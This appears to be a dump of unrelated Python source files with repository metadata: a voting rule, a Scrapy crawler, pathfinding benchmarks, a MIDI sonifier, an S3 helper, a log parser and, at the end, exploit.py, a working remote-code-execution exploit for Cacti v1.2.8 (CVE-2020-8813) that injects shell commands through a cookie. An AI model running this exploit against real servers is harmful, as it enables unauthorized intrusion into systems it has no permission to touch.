/pmp/rules/weakly_separable.py
UTF-8
3,254
2.828125
3
[]
no_license
from .rule import Rule from .tie_breaking import random_winner from itertools import combinations class WeaklySeparable(Rule): """ Weakly Separable scoring rule """ def __init__(self, weights=None, tie_break=random_winner): Rule.__init__(self, tie_break) self.weights = weights def compute_candidate_scores(self, k, profile): profile.clean_scores() for pref in profile.preferences: for n in range(len(pref.order)): candidate = pref.order[n] weight = self.weights[n] if n < len(self.weights) else 0 if candidate in profile.scores: profile.scores[candidate] += weight else: profile.scores[candidate] = weight def compute_score(self, candidate, _, profile): score = 0 for pref in profile.preferences: i = pref.order.index(candidate) weight = self.weights[i] if i < len(self.weights) else 0 score += weight return score def committee_score(self, committee, profile): score = 0 for cand in committee: score += self.compute_score(cand, len(committee), profile) return score def get_committees(self, k, candidates_with_score, random_winning_committee=False): all_scores = candidates_with_score.keys() decreasing_scores = sorted(all_scores, reverse=True) committees = [] score_index = 0 committee = [] committee_size = 0 while committee_size < k: score = decreasing_scores[score_index] if committee_size + len(candidates_with_score[score]) <= k: committee += candidates_with_score[score] committee_size += len(candidates_with_score[score]) else: complement_size = k - committee_size if random_winning_committee: complement = candidates_with_score[score][:complement_size] committees.append(committee + list(complement)) else: complements = list(combinations(candidates_with_score[score], complement_size)) for complement in complements: committees.append(committee + list(complement)) committee_size += complement_size score_index += 1 if len(committees) == 0: committees.append(committee) return committees def find_committee(self, k, profile, random_winning_committee=False): if self.weights is None: raise Exception("Weights not set.") profile.clean_scores() self.compute_candidate_scores(k, profile) profile.candidates_with_score = {} for cand_id in range(len(profile.candidates)): score = profile.scores[cand_id] if profile.candidates_with_score.get(score) is None: profile.candidates_with_score[score] = [] profile.candidates_with_score[score].append(cand_id) committees = self.get_committees(k, profile.candidates_with_score, random_winning_committee) committee = self.tie_break(committees) return committee
true
6077ef79bae16f19f337042bcb748a33f6b61cdc
Python
beitafive/python3
/pass.py
UTF-8
136
3.296875
3
[]
no_license
#!/usr/bin/python # -*- coding: utf-8 -*- arr = [1,2,3,4,5]; for x in arr: if x == 3: pass print("如何执行pass?") print(x)
true
22c79e14f80112d0181bea8624c8a93a40ca1f61
Python
snackdeng/python-crawler
/xiaoshuo/xiaoshuo/spiders/zww.py
UTF-8
1,001
2.8125
3
[]
no_license
# -*- coding: utf-8 -*- import scrapy from scrapy.linkextractors import LinkExtractor from scrapy.spiders import CrawlSpider, Rule class ZwwSpider(CrawlSpider): name = 'zww' allowed_domains = ['81zw.us'] start_urls = ['https://www.81zw.us/book/25483/'] rules = ( # //dl/dd[10]/a 只需要定位在这一行就行了,不需要精准定位其中的属性 Rule(LinkExtractor(restrict_xpaths=r'//dl/dd[10]/a'), callback='parse_item', follow=True), Rule(LinkExtractor(restrict_xpaths=r'//div[@class="bottem1"]/a[4]'), callback='parse_item', follow=True), ) def parse_item(self, response): title = response.xpath('//h1/text()').extract_first() # 因为返回的是一个列表,即需要把列表拼接在一起 content = ''.join(response.xpath('//div[@id="content"]/text()').extract()).replace('\r\n\r\n','\n') yield { 'title': title, 'content': content }
true
4e461d2c09275e26a843b8d316c152bcc1354a5c
Python
kejingjing88212/Conflict-based-search
/test/testing.py
UTF-8
4,180
2.578125
3
[ "MIT" ]
permissive
import math import multiprocessing import os import time from src.a_star import A_star from src.cbs import CBS from src.cbs_ds import CBS_DS from src.cbs_h import CBS_H from src.cbs_pc import CBS_PC from src.map import Map from test.movingai import read_map_from_moving_ai_file, read_tasks_from_moving_ai_file from os import path from random import sample, seed from src.visualization import draw def A_star_test(path): i_start = 1 j_start = 1 i_goal = 13 j_goal = 28 width, height, cell = read_map_from_moving_ai_file(path) task_map = Map() task_map.set_grid_cells(width, height, cell) print(A_star(task_map, i_start, j_start, i_goal, j_goal, [])) print(A_star(task_map, i_start, j_start, i_goal, j_goal, [((2, 1), 1)])) print(A_star(task_map, i_start, j_start, i_goal, j_goal, [((1, 1), 0)])) def CBS_test(task_map, agents, status, target_class=CBS): cbs = target_class(task_map, agents) sol, cost, nodes_cnt = cbs.find_best_solutions() print(f"{target_class.__name__}: cost = {str(cost)}, nodes = {str(nodes_cnt)}") # draw(task_map, sol, agents) if cost < math.inf: status.append(cost) status.append(nodes_cnt) status.append("Found!") else: status.append("Not found!") def big_test(scenario_path, min_agents, max_agents, step=5, sample_times=20, experiment_time=6000*5, target_class=CBS): seed(1337) agents, map_file = read_tasks_from_moving_ai_file(scenario_path) width, height, cell = read_map_from_moving_ai_file(path.join(os.path.dirname(os.path.dirname(__file__)), 'data', 'maps', map_file)) task_map = Map() task_map.set_grid_cells(width, height, cell) manager = multiprocessing.Manager() cur_time = time.time() successes_ratios = [] nodes = [] times = [] for agents_n in range(min_agents, max_agents + 1, step): successes = 0 nodes += [[]] times += [[]] for i in range(sample_times): start_time = time.time() print(f"Starting experiment number {i + 1} / {sample_times} on {agents_n} agents") cur_agents = sample(agents, k=agents_n) res = manager.list() p = multiprocessing.Process(target=CBS_test, args=(task_map, cur_agents, res, target_class)) p.start() p.join(experiment_time) if p.is_alive(): print("Time limit exceeded, finishing") p.terminate() if len(res) == 3 and res[2] == 'Found!': successes += 1 nodes[-1] += [res[1]] times[-1] += [time.time() - start_time] successes_ratios += [successes / sample_times] print(f'{successes} out of {sample_times} successes on {agents_n} agents') spended_time = time.time() - cur_time print(f'Time spent: {spended_time}') return successes_ratios, spended_time, nodes, times # big_test('../data/scenarios/den520d/den520d-even-1.scen', 6, 6, sample_times=1) # big_test('../data/scenarios/empty_8_8/empty-8-8-even-25.scen', 5, 5, 1, 1) # big_test('../data/scenarios/towards.scen', 2, 2, 1, 1, target_function=CBS_PC_test) # big_test('../data/scenarios/mice.scen', 2, 2, 1, 1, target_function=CBS_PC_test) # big_test('../data/scenarios/empty_8_8/empty-8-8-even-25.scen', 10, 10, 1, 1) # big_test('../data/scenarios/empty_8_8/empty-8-8-even-25.scen', 10, 10, 1, 1, target_class=CBS_PC) # big_test('../data/scenarios/empty_8_8/empty-8-8-even-25.scen', 10, 10, 1, 1, target_class=CBS_DS) # big_test('../data/scenarios/empty_8_8/empty-8-8-even-25.scen', 10, 10, 1, 1, target_class=CBS_H) # big_test('../data/scenarios/den520d/den520d-even-1.scen', 6, 6, sample_times=1, target_class=CBS_PC) # big_test('../data/scenarios/den520d/den520d-even-1.scen', 10, 10, sample_times=1, target_class=CBS_DS) # big_test('../data/scenarios/den520d/den520d-even-1.scen', 6, 6, step=1, sample_times=1, target_class=CBS_H, experiment_time=300) # big_test('../data/scenarios/ost003d/ost003d-even-25.scen', 5, 10, step=1, sample_times=2, target_class=CBS_H, experiment_time=300)
true
3ae27a90578fd2a559cd363216c52c4dc3b99a9a
Python
Navinsparrow/python
/strktimes.py
UTF-8
81
3.25
3
[]
no_license
[nav,bar]=input().split(); bar = int(bar); for i in range(bar): print(nav)
true
11ed864c732e01863de661a8624a7f37f9dd3a31
Python
icorrs/python_learning
/exec eval templates.py
UTF-8
319
3.203125
3
[]
no_license
# templates.py import re sco={} def replacement(m): code=m.group(1) try: return str(eval(code,sco)) except: exec code in sco return '' list1=['[x=1]','[y=2]','the sum of [x] and [y] is [x+y]'] str1='' for i in list1: str1+=i str2=re.sub(r'\[(.+?)\]',replacement,str1) print(str2)
true
4cda62e781dbf3bde7bae134da19e52c286d587d
Python
erikvanegmond/Machiavelli
/game/test_player.py
UTF-8
1,783
3.359375
3
[]
no_license
import unittest from game.player import * from game.card import * class TestPlayer(unittest.TestCase): def test_player_init(self): deck.read_deck() # resetting the deck player = Player("test player") actual_result = player.name correct_result = "test player" self.assertEquals(actual_result, correct_result) def test_player_build(self): deck.read_deck() # resetting the deck test_card = Card('test card', 2, 'grey', 2) player = Player("test player") player.gold = 2 player.hand = [test_card] player.city = [] self.assertTrue(player.build(0)) #card is now in the city actual_result = player.city correct_result = [test_card] self.assertEquals(actual_result, correct_result) #hand is now empty actual_result = player.hand correct_result = [] self.assertEquals(actual_result, correct_result) #there should be no more gold actual_result = player.gold correct_result = 0 self.assertEquals(actual_result, correct_result) def test_equals(self): blank_player1 = Player blank_player2 = Player self.assertEqual(blank_player1, blank_player2) blank_player1 = Player("p1") blank_player2 = Player("p1") self.assertEqual(blank_player1, blank_player2) blank_player1 = Player("p1") blank_player2 = Player self.assertNotEqual(blank_player1, blank_player2) blank_player1 = Player blank_player2 = Player("p1") self.assertNotEqual(blank_player1, blank_player2) blank_player1 = Player("p1") blank_player2 = Player("p2") self.assertNotEqual(blank_player1, blank_player2)
true
cf0ee237ec35ee83c657d16fc5a1fa6391c391b8
Python
ltakuno/arquivos
/python/URI/Basico/uri1185.py
UTF-8
305
3.859375
4
[]
no_license
# 1185 - acima da diagonal secundaria t = input() soma = 0.0 cont = 0 for i in range(12): for j in range(12): x = float(input()) if (j < 11 - i): soma += x cont += 1 if (t == 'S'): print("{:.1f}".format(soma)) else: print("{:.1f}".format(soma/cont))
true
5c3dbcb5196543047b0ea1d84acc76b0bd38f59e
Python
Mpogazi/Math-260
/experiments/exp4.py
UTF-8
1,635
2.546875
3
[]
no_license
from math260 import data_prep, recommend, score import numpy as np import scipy.spatial.distance as dist import json GAMES_FILE = "data/games.csv" REVIEWS_FILE = "data/reviews.csv" output = 'figures/k-varies.txt' def msd_similarity(u1, u2, rating_matrix, bool_matrix): u1_fixed = np.multiply(rating_matrix[u1], bool_matrix[u2]) u2_fixed = np.multiply(rating_matrix[u2], bool_matrix[u1]) diff = u1_fixed - u2_fixed count = bool_matrix[u2].T @ bool_matrix[u1] msd = (diff.T @ diff) / count return 1 / (msd + 1) def cosine_similarity(u1, u2, rating_matrix, bool_matrix): return 1 - dist.cosine(rating_matrix[u1], rating_matrix[u2]) if __name__ == "__main__": games, users = data_prep.parse_data(GAMES_FILE, REVIEWS_FILE, verbose=True) games_map, users_map, rating_matrix, bool_matrix \ = data_prep.create_review_matrix(games, users, sparse=False, verbose=True) results = [] for i in range(25): k = 20 * (i+1) print(f'using {k} neighbors') cosine_predictor = recommend.SimilarityPredictor(cosine_similarity, k) msd_predictor = recommend.SimilarityPredictor(msd_similarity, k) cosine_rmse, _ = score.rmsecv(0.1, rating_matrix, bool_matrix, cosine_predictor.predict, users=range(0, 1000)) sim_rmse, _ = score.rmsecv(0.1, rating_matrix, bool_matrix, msd_predictor.predict, users=range(0, 1000)) result = {'k':k, 'cosine': cosine_rmse, 'sim': sim_rmse} results.append(result) print(result) json.dump(results, open(output, mode='w'))
true
c4eda2cb0c092937f014e170fef1825852274715
Python
green-fox-academy/bauerjudit
/week-3/monday/prim.py
UTF-8
192
3.171875
3
[]
no_license
num = 4 if num == 0 or num == 1: print("not prim") for x in range(2, num): if num % x == 0: print("not prim") break else: print("prim") break
true
669bdd5b80f3deff46a13f69cf25bac0894521da
Python
splch/Weather-Composition
/2conversion.py
UTF-8
1,815
2.96875
3
[]
no_license
from pretty_midi import PrettyMIDI, Instrument, Note from pandas import read_csv ''' Spencer Churchill 10/6/18 ''' num = 1 #number of csv's wsmin = 0.0 wsmax = 96.0 barmin = 800.7 barmax = 1110.0 sstmin = 0.0 sstmax = 50.0 colnames = ['ws', 'bar', 'sst'] #columns of storm#.csv def _scale(min_wd, max_wd, data, min_midi, max_midi): ''' linear scaling ''' return min_midi * (1 - (data - min_wd) / (max_wd - min_wd)) + max_midi * ( (data - min_wd) / (max_wd - min_wd)) def data2midi(i, barmin, barmax, sstmin, sstmax, wsmin, wsmax): ''' datalist = [time, barometric pressure, sea surface temperature, wind speed] notelist = [[time, pitch, volume, duration]] ''' data = read_csv('storm' + str(i) + '.csv', names=colnames, header=1) ws = data.ws.tolist() bar = data.bar.tolist() sst = data.sst.tolist() sm = PrettyMIDI(initial_tempo=60) #initialize midi inst = Instrument(program=1) sm.instruments.append(inst) #midi array [bar (velocity), sst (pitch), data (start), data + ws (end)] for data in range(len(ws)): barmidi = _scale(barmin, barmax, bar[data], 1 / (barmax - barmin), 1) #volume sstmidi = _scale(sstmin, sstmax, sst[data], 1 / 127, 1 / 25) #pitch wsmidi = _scale(wsmin, wsmax, ws[data], 1 / 32, 16) #duration inst.notes.append( Note( round(1 / barmidi), #volume round(1 / sstmidi), #pitch data, #start data + 1 / wsmidi)) #end #output track to midi sm.write('sonifystorm' + str(i) + '.mid') for i in range(1, num + 1): ''' breaks: 5290.1 m/s wind speed 802.2 mbar pressure ''' data2midi(i, barmin, barmax, sstmin, sstmax, wsmin, wsmax) # output: [pitch, beat, duration, volume]
true
7d4e885182fa3b3b5412aa3edc2174f8b9957dfa
Python
ssenior1/tsiintegration
/sendevents.py
UTF-8
1,837
2.625
3
[]
no_license
# python 3 sample to create metric definitions # importing the requests library, run "pip3 install requests" to install import requests import json import time import randomdata import random # api endpoint EVENT_SEND_URL = "https://api.truesight.bmc.com/v1/events" HEADERS = {'Content-Type': 'application/json'} APP_NAME = "Banking portal" def postEvent(applicationName, userName, apiToken, createError): while True: errorType = 0 eventDict = randomdata.getEventInfo(applicationName, errorType) print("Successfully sent event " + eventDict["title"]) if createError: errorType = random.randint(1,3) # make bigger for demo numberOfSameErrors = random.randint(3, 5) for i in range(numberOfSameErrors): eventDict = randomdata.getEventInfo(applicationName, errorType) print("Successfully sent event " + eventDict["title"]) # Whilst not connected to the internet - remove comment tags when back online # print("Successfully sent event " + eventDict["title"] + " for source " + eventDict["source"]["ref"] + " @ time:" + # str(eventDict["createdAt"])) # response = requests.post(EVENT_SEND_URL, # auth=(userName, apiToken), data=json.dumps(eventDict), headers=HEADERS) # if response.status_code == requests.codes.ok or response.status_code == requests.codes.accepted: # print("Successfully sent event " + eventDict["title"] + # " for source " + eventDict["source"]["ref"] + " @ time:" + # str(eventDict["createdAt"])) # else: # print("Unable to send event " + eventDict["title"] + # " for source " + eventDict["source"]["ref"] + " @ time:" + # str(eventDict["createdAt"]) + " Error code:" + str(response.status_code))
true
c3acec22935791b0c6ba9bbd57cabc0b37b5a53e
Python
snowman1985/mypractice
/bayesian-mark.py
UTF-8
2,282
2.546875
3
[]
no_license
from bayesian import classify, classify_file from cutword import cutword import sqlite3 from collections import defaultdict conn = sqlite3.connect("w.sqlite3") c=conn.cursor() marktitle = open("marktitle.txt", "w") def toy(n): if n[-1] == 'y' or n[-1] == 'm': return n else: print "len:", len(n) print "n:",n if len(n) == 3: print n[0], n[1], n[2] print n[-1] return str(int(float(n) / 365)) + "y" count = 1 agerangeset = set() ageclass = defaultdict(list) #for i in c.execute("select * from knowledge_detail where mark <> \"\""): for i in c.execute("select * from knowledge_detail where mark=\"shengeng\" or mark=\"xueyu\" or mark=\"hujun\" or mark=\"xuezhenghua\""): # print(count,":",i[1], "\n") print i[1], i[6], i[7] marktitle.write(i[1].encode("utf-8")) marktitle.write(" ") minstr = toy(i[6]).encode("utf-8") marktitle.write(minstr) marktitle.write(" ") maxstr = toy(i[7]).encode("utf-8") marktitle.write(maxstr) marktitle.write(" ") marktitle.write(i[10].encode("utf-8")) marktitle.write("\n") if minstr.find('m') >= 0 or maxstr.find('m') >= 0 : minstr = "0y" maxstr = "1y" rangestr = minstr + "*" + maxstr agerangeset.add(rangestr) ageclass[rangestr].append(i[1]) count += 1 print("age range size:", len(agerangeset)) for i in list(agerangeset): print(i) print("age class size:") for k, v in ageclass.items(): print(k, ":", len(v)) print("begin classify") rescol = [] count1 = 1 for i in c.execute("select * from knowledge_detail where mark = \"program\" limit 3000"): #for i in c.execute("select * from knowledge_detail where serial = 1909"): print(count1) count1 += 1 print(i[0]) print(i[1]) curclass = classify(i[1], ageclass, extractor=cutword) print curclass (curmin, curmax) = curclass.split('*') print("curmin:", curmin) print("curmax:", curmax) rescol.append([i[0], curmin, curmax]) #c.execute("update knowledge_detail set min=?, max=? where serial=?", (curmin, curmax, i[0])) for r in rescol: c.execute("update knowledge_detail set min=?, max=?, mark=\"programa\" where serial=?", (r[1], r[2], r[0])) #for i in idcol: # print("update mark") # c.execute("update knowledge_detail set mark=\"program\" where serial=?", (i)) conn.commit() conn.close()
true
adefc0db1fed383c6c25a8ace5e6c6de1dad2cef
Python
MikhailRyskin/python_base
/lesson_011/03_log_parser.py
UTF-8
7,388
3.125
3
[]
no_license
# -*- coding: utf-8 -*- # На основе своего кода из lesson_009/02_log_parser.py напишите итератор (или генератор) # который читает исходный файл events.txt и выдает число событий NOK за каждую минуту # <время> <число повторений> # # пример использования: # # grouped_events = <создание итератора/генератора> # Итератор или генератор? выбирайте что вам более понятно # for group_time, event_count in grouped_events: # print(f'[{group_time}] {event_count}') # # на консоли должно появится что-то вроде # # [2018-05-17 01:57] 1234 from collections import defaultdict class LogParser: # def __init__(self, file_name): # # Читать сразу весь файл в память не лучшая идея, лучше использовать цикл for для создания маленько буфера # # Чтение всего фала в память влечет за собой накладные расходы, # # а вы можете не знать сколько есть свободной памяти там где запускается скрипт # in_file = open(file_name, 'r', encoding='utf8') # self.file = in_file.readlines() # in_file.close() # self.i = 0 # # def __iter__(self): # # Открывать файл стоит здесь # self.i = 0 # return self # # def __next__(self): # # а здесь уже основной цикл по поиску "NOK" строк # events_count = 0 # while self.i < len(self.file): # line = self.file[self.i].rstrip() # current_line = line[1:17] # if line.endswith('NOK'): # events_count += 1 # self.i += 1 # if self.i == len(self.file): # if events_count: # return current_line, events_count # else: # next_line = self.file[self.i][1:17] # if next_line != current_line: # if events_count: # return current_line, events_count # raise StopIteration # def __init__(self, file_name): # self.file_name = file_name # self.file = None # # # Для удобства предлагаю хранить временное значение в словаре, а затем удалять. # # Также стоит создать переменные для текущего и предыдущего ключа # # Примерно так: # # self.log_dict = defaultdict(int) # # self.last_key = None # # self.dict_key = None # def __iter__(self): # self.file = open(self.file_name, 'r', encoding='utf8') # return self # # def __next__(self): # # Цикл для поиска NOK удобнее вынести в другой метод к примеру "parse" # # В методе "parse": # # Проходимся по файлу который открыли # # ищем NOK # # нашли - режем строку присваивая ее, как ключ в self.dict_key # # если прошлого ключа нет # # присваиваем self.last_key значение # # И заполняем словарь - self.log_dict[self.dict_key] = .. # # если ключи не равны т.е "self.last_key" и "self.dict_key" проще вернуть True # # . # # А здесь в "__next__" уже будем возвращать данные # # также цикл, но уже можно будет проходится методу "parse" - while self.parse() # # формируем строку используя "self.last_key" и словарь "self.log_dict" # # удаляем ключ из него # # возвращаем строку # # . # # после завершения закрываем файл и выбрасываем исключение # # events_count = 0 # for line in self.file: # line = line.rstrip() # current_line = line[1:17] # if line.endswith('NOK'): # events_count += 1 # # мне непонятно, как идя по циклу for line in self.file анализировать следующую строку. # # Сейчас всё работает неверно, т.к. readline() двигает текущую позицию указателя в конец следующей строки. # # Как можно посмотреть след. строку, но в цикле проходить все строки без пропусков? # # А зачем смотреть следующую строку? # # Идите циклом по открытому файлу и проверяйте NOK, # # а прошлое значение можно сохранить в self.last_line_NOK = 0 # # # file_position = self.file.tell() # next_line = self.file.readline().rstrip() # # self.file.seek(file_position, 0) # if next_line: # next_line = next_line[1:17] # if next_line != current_line: # if events_count: # return current_line, events_count # else: # if events_count: # return current_line, events_count # self.file.close() # raise StopIteration def __init__(self, file_name): self.file_name = file_name self.file = None self.log_dict = defaultdict(int) self.last_key = None self.dict_key = None def __iter__(self): self.file = open(self.file_name, 'r', encoding='utf8') return self def parse(self): for line in self.file: line = line.rstrip() if line.endswith('NOK'): self.dict_key = line[1:17] if not self.last_key: self.last_key = self.dict_key self.log_dict[self.dict_key] += 1 if self.last_key != self.dict_key: return True def __next__(self): while self.parse() or self.log_dict: # Добавить условие в цикл, если словарь не пуст result = f'{self.last_key} {self.log_dict[self.last_key]}' self.log_dict.pop(self.last_key, None) self.last_key = self.dict_key return result # так не обрабатывается последний результат. Как его обработать? self.file.close() raise StopIteration my_file_name = 'events.txt' grouped_events = LogParser(my_file_name) for event_count in grouped_events: print(f'{event_count}') # зачет!
true
c4194f58c7261d08195b595729a7af7494044e3b
Python
jennylsmith/STAR-fusion-NF
/python_code/create_sample_sheet.py
UTF-8
5,222
3.078125
3
[]
no_license
#!/usr/bin/env python3 #Jenny Smith #Sept 23, 2020 #Purpose: create a sample sheet of files hosted on AWS S3. #import modules import os import re import itertools import boto3 import logging from botocore.exceptions import ClientError import numpy as np import pandas as pd def create_sample_sheet(bucket_name,prefix_name,filetype="fastq",samples="",filename="sample_sheet.txt", write=True): """ A function to query an S3 bucket, list its objects, and filter the files by sample IDs. bucket_name: is a string. Example: "fh-pi-my-bucket" prefix_name: is a string. Need trailing slash. Example: "SR/mydata/" filetype: is a srtring. One of "fastq" or "bam" """ #function to parse the object summary from Boto3 for fastqs def sample_name(s3_object_summary,file_type): path = s3_object_summary.key.split("/") if file_type is "fastq": pattern = re.compile(r"[._][Rr][12].[Ff].+$") #sample = re.sub(r"[._][Rr][12].+$","", sample) elif file_type is "bam": pattern = re.compile(".bam$") file = ''.join(filter(pattern.search, path)) sample = re.sub(pattern, "", file) return(sample) #Connection to S3 Bucket s3 = boto3.resource('s3') bucket = s3.Bucket(bucket_name) delim = "/" #query S3 bucket to list the all files the specified prefix objects = bucket.objects.filter(Delimiter=delim, Prefix=prefix_name) #Prepare regex for filtering the objects in the prefix. #if no sample IDs are provided, the regex will include all files in the S3 bucket/prefix. assert type(samples) is str, "samples parameter must be a string type." regex = re.compile('|'.join(re.split(',| ',samples))) #Iterate over the objects in the bucket/prefix if filetype is "fastq": #iterate over the fastqs fqs_PE = dict() for obj in objects: samp = sample_name(s3_object_summary=obj, file_type=filetype) #print(samp) if re.search(r"[._-][Rr][12].(fastq|fq)", obj.key): read = '{0}//{1}/{2}'.format("s3:", obj.bucket_name, obj.key) #print(samp + ":" + read) if samp not in fqs_PE.keys(): fqs_PE[samp] = [read] else: fqs_PE[samp] = fqs_PE[samp] + [read] #final sort to ensure order fqs_PE[samp].sort() #print("There are " + str(len(fqs_PE)) + " Fastq files.") filtered = [{"Sample":sample,"R1":fastqs[0],"R2":fastqs[1]} for sample, fastqs in fqs_PE.items() if re.search(regex, sample)] if filetype is "bam": #iterate over the bams bams = dict() for obj in objects: samp = sample_name(s3_object_summary=obj, file_type=filetype) #print(samp) if re.search(r".bam$", obj.key): bam = '{0}//{1}/{2}'.format("s3:", obj.bucket_name, obj.key) # print(samp + " : " + bam) if samp not in bams.keys(): bams[samp] = bam elif samp in bams.keys(): print("The sample", samp,"has more than 1 BAM file." + "It was not included in the output." + "\nThe bam files are:", bams[samp], bam) #Filter the bams dictionary for samples to include filtered = [{"Sample":sample,"BAM":bam} for sample, bam in bams.items() if re.search(regex, sample)] #Convert into dictionary into a pandas dataframe print("There are " + str(len(filtered)) + " " + filetype + " files.") sample_sheet = pd.DataFrame(filtered) #Save the dataframe to file or return the dataframe if write: sample_sheet.to_csv(path_or_buf=filename, sep="\t", header=True, index=False,quoting=None) print("Finished writing " + str(len(sample_sheet.index)) + " records to file: " + filename) else: return(sample_sheet) #Taken directly form https://boto3.amazonaws.com/v1/documentation/api/latest/guide/s3-presigned-urls.html def create_presigned_url(bucket_name, object_name, expiration=3600): """Generate a presigned URL to share an S3 object :param bucket_name: string :param object_name: string :param expiration: Time in seconds for the presigned URL to remain valid :return: Presigned URL as string. If error, returns None. """ # Generate a presigned URL for the S3 object s3_client = boto3.client('s3') try: response = s3_client.generate_presigned_url('get_object', Params={'Bucket': bucket_name, 'Key': object_name}, ExpiresIn=expiration) except ClientError as e: logging.error(e) return None # The response contains the presigned URL return response
true
ec880694dab8c38846cb8266cc479dc398a89f00
Python
azrazra0628/python_practice
/1日1件/リスト/PythonのCounterでリストの各要素の出現個数をカウント.py
UTF-8
6,002
4.125
4
[]
no_license
##PythonのCounterでリストの各要素の出現個数をカウント # Pythonでリストやタプルの全要素の個数は組み込み関数len() # 各要素の個数(要素ごとの出現回数)はcount()メソッドで取得できる。 #1.全要素数をカウント: len() 変数 = len(リストやタプル、文字列) # リスト #%% l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] print(len(l)) #7 # 文字列 #%% str = 'abcde' print(len(str)) #2.各要素の個数(要素ごとの出現回数)をカウント: count()メソッド # 変数.count(要素) # 要素として存在しない値を引数に渡すと0が返る。 #%% l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] print(l.count('a')) # 4 print(l.count('b')) # 1 print(l.count('c')) # 2 print(l.count('d')) # 0 #3.各要素の出現回数を一括で 取得:collectionsモジュールのCounterクラス # import collections # 変数 = collections.Counter(リスト,タプル,文字列) #%% import collections l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] c = collections.Counter(l) print(c) # Counter({'a': 4, 'c': 2, 'b': 1}) # 生成されたcounterオブジェクトに要素をしてするとその個数を取得できる #%% print(c['a']) # 4 print(c['b']) # 1 print(c['c']) # 2 print(c['d']) # 0 # キーのリスト(keys()メソッド)、値のリスト(values())、 # キーと値のペアのタプルのリスト(items()メソッド)を取得したりできる。 #%% print(c.keys()) # dict_keys(['a', 'b', 'c']) print(c.values()) # dict_values([4, 1, 2]) print(c.items()) # dict_items([('a', 4), ('b', 1), ('c', 2)]) # 出現回数順に要素を取得: most_common()メソッド # Counterにはmost_common()メソッドがあり、 # (要素, 出現回数)という形のタプルを出現回数順に並べたリストを返す。 #%% print(c.most_common()) # [('a', 4), ('c', 2), ('b', 1)] # 出現回数の少ない順に並べ替えたい場合は増分を-1としたスライスを使う。 #%% print(c.most_common()[::-1]) # メソッドに引数nを指定すると # 出現回数の多いn要素のみを返す。省略するとすべての要素。 #%% print(c.most_common(2)) #3.重複しない要素(一意な要素)の個数(種類)をカウント # 集合型setのコンストラクタset()を使用 #%% l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] print(set(l)) #4.条件を満たす要素の個数をカウント # 条件を満たす要素のリストをリスト内包表記で生成して # 、その個数をlen()で取得する #%% l = list(range(-5, 6)) print(l) # [-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5] print([i for i in l if i < 0]) # [-5, -4, -3, -2, -1] print(len([i for i in l if i < 0])) # 5 print([i for i in l if i % 2 == 1]) # [-5, -3, -1, 1, 3, 5] print(len([i for i in l if i % 2 == 1])) # 6 文字列のリストに対する条件も可能 #%% l = ['apple', 'orange', 'banana'] print([s for s in l if s.endswith('e')]) #['apple', 'orange'] print(len([s for s in l if s.endswith('a')])) #1 # 出現回数の条件でカウントする場合、 # 目的によってcount()メソッドとcollections.Counterを使い分ける。 # 出現回数が条件を満たす要素の種類をカウントする場合は # collections.Counterを使う。 # リスト内の要素で2回以上出現する要素をすべて抽出し、その回数を表示 #%% l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] print([i for i in l if l.count(i) >= 2]) #['a', 'a', 'a', 'a', 'c', 'c'] print(len([i for i in l if l.count(i) >= 2])) #6 # リスト内の要素で2回以上出現する要素を抽出し、その個数を表示 #%% import collections l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] c = collections.Counter(l) print([i[0] for i in c.items() if i[1] >= 2]) #['a', 'c'] print(len([i[0] for i in c.items() if i[1] >= 2])) #2 # 内包表記を使用しないとこんな感じ #%% import collections l = ['a', 'a', 'a', 'a', 'b', 'c', 'c'] c = collections.Counter(l) ans = [] for i in c.items(): if i[1] >= 2: ans.append(i[0]) print(ans) #['a', 'c'] print(len(ans)) #5.文字列の単語の出現個数をカウント # 文字列に登場する単語の出現個数を数えてみる。 # まず、不必要なカンマ,や.をreplace()メソッドで空文字列と置換し、削除する。 # さらにsplit()メソッドで空白で区切ってリスト化する。 #%% s = 'government of the people, by the people, for the people.' print(s) #government of the people, by the people, for the people. s_remove = s.replace(',','').replace('.','') print(s_remove) #government of the people by the people for the people word_list = s_remove.split() print(word_list) #['government', 'of', 'the', 'people', 'by', 'the', 'people', 'for', 'the', 'people'] #リスト化できれば以後は今までと同様にcountメソッドやmost_common()メソッドを使用する #%% print(word_list.count('people')) #3 print(len(set(word_list))) #6 c = collections.Counter(word_list) print(c) #Counter({'the': 3, 'people': 3, 'government': 1, 'of': 1, 'by': 1, 'for': 1}) print(c.most_common()[0][0]) #the #文字列の文字の出現個数をカウント # 文字列もシーケンス型なので、count()メソッドを使ったり、 # collections.Counter()のコンストラクタの引数に渡したりすることができる。 #%% s = 'supercalifragilisticexpialidocious' print(s.count('p')) #2 c = collections.Counter(s) print(c) #Counter({'i': 7, 's': 3, 'c': 3, 'a': 3, 'l': 3, 'u': 2, 'p': 2, 'e': 2, 'r': 2, 'o': 2, 'f': 1, 'g': 1, 't': 1, 'x': 1, 'd': 1})\ # 出現回数の多い順トップ5で並べる方法 print(c.most_common(5)) #[('i', 7), ('s', 3), ('c', 3), ('a', 3), ('l', 3) #### まとめ ##### # リスト・タプルともにcountメソッドやmost_commonメソッドを使用して、出現回数を取得可能 # リスト内包表記により、条件に当てはまる要素の抽出も可能
true
5a9a0457781db3d713db47bb195aeeaf9fa49d41
Python
hexcowboy/CVE-2020-8813
/exploit.py
UTF-8
1,426
2.75
3
[ "MIT" ]
permissive
#!/usr/bin/python3 import requests import click from rich import inspect from rich.console import Console from url_normalize import url_normalize from urllib.parse import quote console = Console() def shell_encode(string): return string.replace(" ", "${IFS}") @click.command() @click.option("-u", "--url", prompt="Target URL", help="The URL of the Cacti installation") @click.option("-p", "--payload", prompt="Payload", help="The payload that you want to execute on the target") def exploit(url, payload): """Cacti v1.2.8 Unauthenticated Remote Code Execution""" # Normalize URL input, URL encode the payload url = url + "/graph_realtime.php?action=init" url = url_normalize(url, default_scheme="http") payload = shell_encode(payload) payload = quote(payload) cookies = {"Cacti": payload} # Check if target is vulnerable try: with console.status("Checking to see if target is vulnerable"): request = requests.get(url) except: console.print(f'Could not connect to the host, please check the URL again: {url}', style="red") exit(1) inspect(request) if request.status_code == 200: with console.status("Realtime graph found, sending payload."): requests.get(url, cookies=cookies) else: click.echo("Realtime graph not found. The target may not be vulnerable.") if __name__ == "__main__": exploit()
true
